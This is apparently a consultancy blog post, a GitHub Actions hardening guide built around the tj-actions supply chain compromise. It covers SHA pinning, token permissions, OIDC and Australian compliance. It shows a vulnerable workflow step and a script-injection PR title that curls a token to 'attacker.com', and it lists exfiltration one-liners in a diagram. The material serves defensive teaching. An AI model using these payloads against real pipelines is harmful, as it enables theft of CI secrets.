Skip to main content
/ DevOps

GitHub Actions Security: Enterprise Hardening Guide 2026

Sacha Roussakis-NotterSacha Roussakis-Notter
18 min read
GitHubGitHub
Docker
Terraform
Share

Learn how to protect your CI/CD pipelines from supply chain attacks like tj-actions (CVE-2025-30066). Comprehensive enterprise hardening guide with Australian compliance mapping, OWASP best practices, and actionable security checklists.

In March 2025, the tj-actions/changed-files GitHub Action was compromised, exposing secrets from over 23,000 repositories in just 22 hours. AWS access keys, GitHub Personal Access Tokens, npm credentials, and private RSA keys were dumped to workflow logs and exfiltrated to attacker-controlled servers. Major organisations including Coinbase were targeted.

This wasn't an isolated incident. Supply chain attacks on CI/CD pipelines have increased 39% year-over-year, and 30% of all data breaches now involve third-party compromises. If you're running GitHub Actions without proper security hardening, your organisation is at risk.

This guide provides enterprise-grade security strategies to protect your GitHub Actions workflows, based on the latest threat intelligence, OWASP guidelines, and Australian compliance requirements.

The GitHub Actions Threat Landscape

GitHub Actions has become the dominant CI/CD platform, with 51% market adoption according to the CNCF 2024 survey. With over 6 billion monthly pipeline runs and 370% year-over-year growth, it's also become a prime target for attackers.

The Cost of CI/CD Breaches

Supply Chain Attack Impact
Average Breach Cost
$4.44M
Supply Chain Premium
+$227K
Repos Compromised
23,000+
Secrets Leaked 2024
23.8M25%
4 metricsbuun.group

Recent High-Profile Attacks

The tj-actions/changed-files compromise (CVE-2025-30066) represents a new class of supply chain attack targeting GitHub Actions directly.

tj-actions Attack Timeline
6 events
Nov 2024

Attack campaign begins

Attackers identify target actions

Dec 6, 2024

Initial compromise

spotbugs/sonar-findbugs exploited via pull_request_target

Mar 11, 2025

reviewdog compromised

~1,500 repositories affected in 2 hours

Mar 14, 2025

tj-actions compromised

23,000+ repositories exposed

Mar 15, 2025

CVE-2025-30066 disclosed

CVSS 8.6 severity rating

Mar 18, 2025

CISA advisory issued

Federal alert to all organisations

newest firstbuun.group

How the Attack Worked

The attackers exploited a chain of vulnerabilities across multiple actions:

flowchart

Exfiltration

Victim Workflows

Attack Chain

Compromise maintainer PAT

Push malicious commit

Retag version references

v1, v2, v45 now point to malicious code

uses: tj-actions/changed-files@v45

uses: tj-actions/changed-files@v2

uses: tj-actions/changed-files@v1

Secrets dumped to logs

Base64 encoded to evade detection

Sent to attacker C2 server

Ctrl+scroll to zoom • Drag to pan26%

Key insight: Version tags like @v1 or @v45 are mutable. Attackers simply moved the tags to point to malicious commits. Only workflows pinned to full commit SHAs were protected.

Understanding GitHub Actions Vulnerabilities

The OWASP CI/CD Security Top 10 provides a framework for understanding pipeline vulnerabilities. Here's how they apply to GitHub Actions:

OWASP CI/CD Top 10 Applied to GitHub Actions

RiskDescriptionGitHub Actions Impact
CICD-SEC-1Insufficient Flow ControlMissing branch protection, no required reviewers
CICD-SEC-2Inadequate IAMOver-permissive GITHUB_TOKEN, no OIDC
CICD-SEC-3Dependency Chain AbuseUnpinned actions, supply chain attacks
CICD-SEC-4Poisoned Pipeline Executionpullrequesttarget misuse, script injection
CICD-SEC-5Insufficient PBACMissing environment protection rules
CICD-SEC-6Insufficient Credential HygieneSecrets in logs, no rotation policy
CICD-SEC-7Insecure System ConfigurationMisconfigured self-hosted runners
CICD-SEC-8Ungoverned 3rd Party ServicesUnvetted marketplace actions
CICD-SEC-9Improper Artifact IntegrityMissing SLSA attestations
CICD-SEC-10Insufficient LoggingNo SIEM integration

Common Attack Vectors

1. Script Injection

Untrusted input interpolated directly into shell commands enables arbitrary code execution:

Vulnerable pattern:

yaml
1# VULNERABLE - Attacker controls PR title
2- name: Process PR
3 run: echo "Title: github.event.pull_request.title"
4 # Attacker sets title to: a"; curl attacker.com?t=TOKEN #

Secure pattern:

yaml
1# SECURE - Use environment variable
2- name: Process PR
3 env:
4 PR_TITLE: github.event.pull_request.title
5 run: echo "Title: $PR_TITLE"

Dangerous contexts to never interpolate:

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.body
  • github.event.comment.body
  • github.head_ref (branch names)

2. The pullrequesttarget Trap

The pull_request_target event runs in the base repository context with full secret access, even for PRs from forks. This is extremely dangerous when combined with checking out PR code:

sequence
Privileged RunnerTarget RepoForked RepoAttackerRuns with SECRETS accessAttacker code executes with secretsFork repositoryAdd malicious codeCreate Pull Requestpull_request_target triggeredcheckout PR head - DANGEROUSExfiltrate secrets
Ctrl+scroll to zoom • Drag to pan52%

3. Secret Exfiltration Paths

Even without direct access to secrets, attackers have multiple exfiltration methods:

flowchart

Attacker Gains Code Execution

Exfiltration Method

Direct Logging

echo SECRET | base64

Decode from workflow logs

Network Exfil

curl attacker.com?s=SECRET

Cache Poisoning

Store in actions/cache

Retrieve in future workflow

Artifact Upload

Embed in build artifacts

Ctrl+scroll to zoom • Drag to pan39%

7 Enterprise Mitigation Strategies

Based on GitHub's official hardening guide, OWASP recommendations, and lessons from recent attacks, here are the essential security controls every enterprise should implement.

1. Pin Actions to Full Commit SHAs

This is the single most important mitigation against supply chain attacks like tj-actions. Version tags are mutable; commit SHAs are not.

Action Pinningyaml
33
1-# INSECURE - Tag can be moved to malicious commit
2-- uses: actions/checkout@v4
3-- uses: tj-actions/changed-files@v45
4+# SECURE - Immutable commit SHA
5+- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
6+- uses: tj-actions/changed-files@c3a1bb2c992d77180ae65be6ae6c166cf40f857c # v45.0.0
3 → 3 linesbuun.group

Risk comparison by pinning strategy:

flowchart

Security Risk

Pinning Strategies

action@main

action@v1

action@v1.2.3

action@a1b2c3d4e5f6...

CRITICAL - Changes constantly

HIGH - Tags can be retagged

MEDIUM - Rarely retagged

LOW - Immutable reference

Ctrl+scroll to zoom • Drag to pan43%

2. Implement Least-Privilege GITHUB_TOKEN

By default, repositories created before February 2023 grant read/write permissions to GITHUB_TOKEN. Research shows 86% of workflows don't limit these permissions.

yaml
1# Recommended: Set restrictive defaults at workflow level
2permissions: {} # Forces explicit job-level permissions
3
4jobs:
5 build:
6 runs-on: ubuntu-latest
7 permissions:
8 contents: read # Only read repository
9 packages: write # Only if publishing packages
10 steps:
11 - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Organisation-level setting: Navigate to Settings > Actions > General and set "Workflow permissions" to "Read repository contents and packages permissions".

3. Use OIDC for Cloud Authentication

OpenID Connect eliminates long-lived cloud credentials by exchanging short-lived tokens directly with cloud providers.

sequence
AWS S3AWS STSGitHub OIDC ProviderGitHub WorkflowRequest OIDC TokenJWT with claims (repo, ref, workflow)AssumeRoleWithWebIdentity with JWTValidate JWT and trust policyTemporary credentials (1 hour)Access with temp credentialsSuccess
Ctrl+scroll to zoom • Drag to pan52%

AWS OIDC Configuration:

yaml
1permissions:
2 id-token: write
3 contents: read
4
5- uses: aws-actions/configure-aws-credentials@v4
6 with:
7 role-to-assume: arn:aws:iam::123456789:role/github-actions
8 aws-region: ap-southeast-2

Azure OIDC Configuration:

yaml
1permissions:
2 id-token: write
3 contents: read
4
5- uses: azure/login@v2
6 with:
7 client-id: secrets.AZURE_CLIENT_ID
8 tenant-id: secrets.AZURE_TENANT_ID
9 subscription-id: secrets.AZURE_SUBSCRIPTION_ID

GCP OIDC Configuration:

yaml
1permissions:
2 id-token: write
3 contents: read
4
5- uses: google-github-actions/auth@v2
6 with:
7 workload_identity_provider: projects/123/locations/global/workloadIdentityPools/github/providers/github
8 service_account: github-actions@project.iam.gserviceaccount.com

4. Configure Environment Protection Rules

Environments provide deployment gates with required approvals, wait timers, and branch restrictions.

flowchart

Production

Branch: main only

Required reviewers: 2

Wait timer: 30 minutes

Prevent self-review

OIDC credentials only

Staging

Branch: main, develop

Wait timer: 5 minutes

Environment secrets

Development

No restrictions

Auto-deploy on push

Ctrl+scroll to zoom • Drag to pan23%

Workflow configuration:

yaml
1jobs:
2 deploy-production:
3 runs-on: ubuntu-latest
4 environment:
5 name: production
6 url: https://example.com
7 permissions:
8 id-token: write
9 contents: read
10 steps:
11 - name: Deploy
12 run: ./deploy.sh

5. Enable Security Scanning in Your Pipeline

Integrate multiple security tools to catch vulnerabilities before deployment:

flowchart

No

Yes

Checkout

Dependency Scan

Secret Scan

SAST/CodeQL

Build

Container Scan

All Pass?

Block Deploy

Deploy

Ctrl+scroll to zoom • Drag to pan34%

Recommended tools:

ToolPurposeIntegration
CodeQLStatic analysis (SAST)Native GitHub, free for public repos
DependabotDependency vulnerabilitiesNative GitHub
GitGuardian/ggshieldSecret detectionGitHub Action available
TrivyContainer scanningGitHub Action available
OSSF ScorecardSupply chain assessmentGitHub Action available
yaml
1# Example: CodeQL scanning workflow
2name: CodeQL Analysis
3on:
4 push:
5 branches: [main]
6 pull_request:
7 branches: [main]
8 schedule:
9 - cron: '0 6 * * 1' # Weekly scan
10
11jobs:
12 analyze:
13 runs-on: ubuntu-latest
14 permissions:
15 security-events: write
16 contents: read
17 steps:
18 - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
19 - uses: github/codeql-action/init@v3
20 with:
21 languages: javascript, typescript
22 - uses: github/codeql-action/analyze@v3

6. Harden Self-Hosted Runners

Self-hosted runners pose significant security risks. GitHub explicitly warns against using them with public repositories.

If you must use self-hosted runners:

Self-Hosted Runner Hardening
0/7
0% completebuun.group

Harden-Runner example:

yaml
1- uses: step-security/harden-runner@v2
2 with:
3 egress-policy: audit # or 'block' for strict mode
4 allowed-endpoints: >
5 github.com:443
6 api.github.com:443
7 registry.npmjs.org:443

7. Implement Audit Logging and Monitoring

Stream audit logs to your SIEM for security monitoring and incident response.

Key events to monitor:

EventIndicates
workflows.completed_workflow_runWorkflow execution (success/failure)
org.update_actions_secretSecret modification
protected_branch.policy_overrideBranch protection bypass
repo.actions_enabledActions enabled/disabled

Native integrations: Splunk, Microsoft Sentinel, Datadog, AWS S3

Australian Compliance Considerations

For Australian enterprises, GitHub Actions security must align with regulatory requirements.

Essential Eight Mapping

The ACSC Essential Eight includes controls directly relevant to CI/CD security:

Essential Eight ControlGitHub Actions Relevance
Application ControlPin actions to SHAs, use allowlists
Patch ApplicationsDependabot for dependency updates
Configure Microsoft Office MacrosN/A
User Application HardeningDisable unnecessary features
Restrict Admin PrivilegesLeast-privilege GITHUB_TOKEN
Patch Operating SystemsKeep runner images updated
Multi-Factor AuthenticationEnforce 2FA for GitHub org
Daily BackupsNot directly applicable

Privacy Act and SOCI Act

  • Privacy Act 1988: Applies to organisations with AU$3M+ turnover. Secrets management and access controls are essential for protecting personal information in CI/CD pipelines.
  • SOCI Act 2021: Covers critical infrastructure across 11 sectors. Supply chain security obligations directly affect CI/CD systems processing critical infrastructure data.

GitHub Data Residency

As of February 2025, GitHub Enterprise Cloud offers data residency in Australia - the first APAC market. This enables:

  • Code and data stored in Australian data centres
  • Compliance with data sovereignty requirements
  • Reduced latency for Australian teams

Enterprise Security Checklist

Use this checklist to assess and improve your GitHub Actions security posture:

GitHub Actions Security Implementation
1 / 7

1Audit Current State

Review all workflows for security issues. Check for unpinned actions, overly permissive tokens, and dangerous triggers.

bash
# Find all workflows using unpinned actions
grep -r 'uses:.*@v[0-9]' .github/workflows/
Step 1 of 7
7 stepsbuun.group

Incident Response Playbook

If you suspect a CI/CD compromise, follow this response process:

flowchart

Recovery

Remediation

Investigation

Containment - Do Immediately

Detection

Security alert

Anomalous behaviour

External report

Disable affected workflows

Revoke ALL exposed secrets

Block compromised actions

Review audit logs

Identify affected repos

Determine exposure scope

Rotate all secrets

Pin actions to SHA

Update permissions

Re-enable workflows

Monitor for anomalies

Document lessons learned

Ctrl+scroll to zoom • Drag to pan17%

Conclusion

The GitHub Actions threat landscape has evolved significantly. The tj-actions attack demonstrated that even widely-used, trusted actions can be compromised. Enterprises must adopt a defence-in-depth approach:

  1. Pin all actions to SHA - The single most important mitigation
  2. Apply least-privilege permissions - Default to no permissions
  3. Use OIDC for cloud auth - Eliminate long-lived credentials
  4. Configure environment gates - Require approvals for production
  5. Enable security scanning - Catch vulnerabilities early
  6. Harden self-hosted runners - Or avoid them entirely
  7. Monitor audit logs - Detect and respond to incidents

The cost of implementing these controls is far less than the $4.44 million average breach cost - plus the additional $227,000 premium for supply chain incidents.

For Australian organisations, these practices align with Essential Eight requirements and support compliance with Privacy Act and SOCI Act obligations. With GitHub's new Australian data residency, you can achieve both security and sovereignty.

Need help securing your CI/CD pipelines?

References

Topics

GitHub Actions securityCI/CD securitysupply chain attacksDevSecOpsGitHub Actions hardeningCVE-2025-30066OIDC authenticationenterprise security

Share this post

Share

Comments

Sign in to join the conversation

Login

No comments yet. Be the first to share your thoughts!

Found an issue with this article?

/ Let's Talk

Want to work with us?

Whether you need help with architecture, development, or technical consulting, our team is here to help bring your vision to life.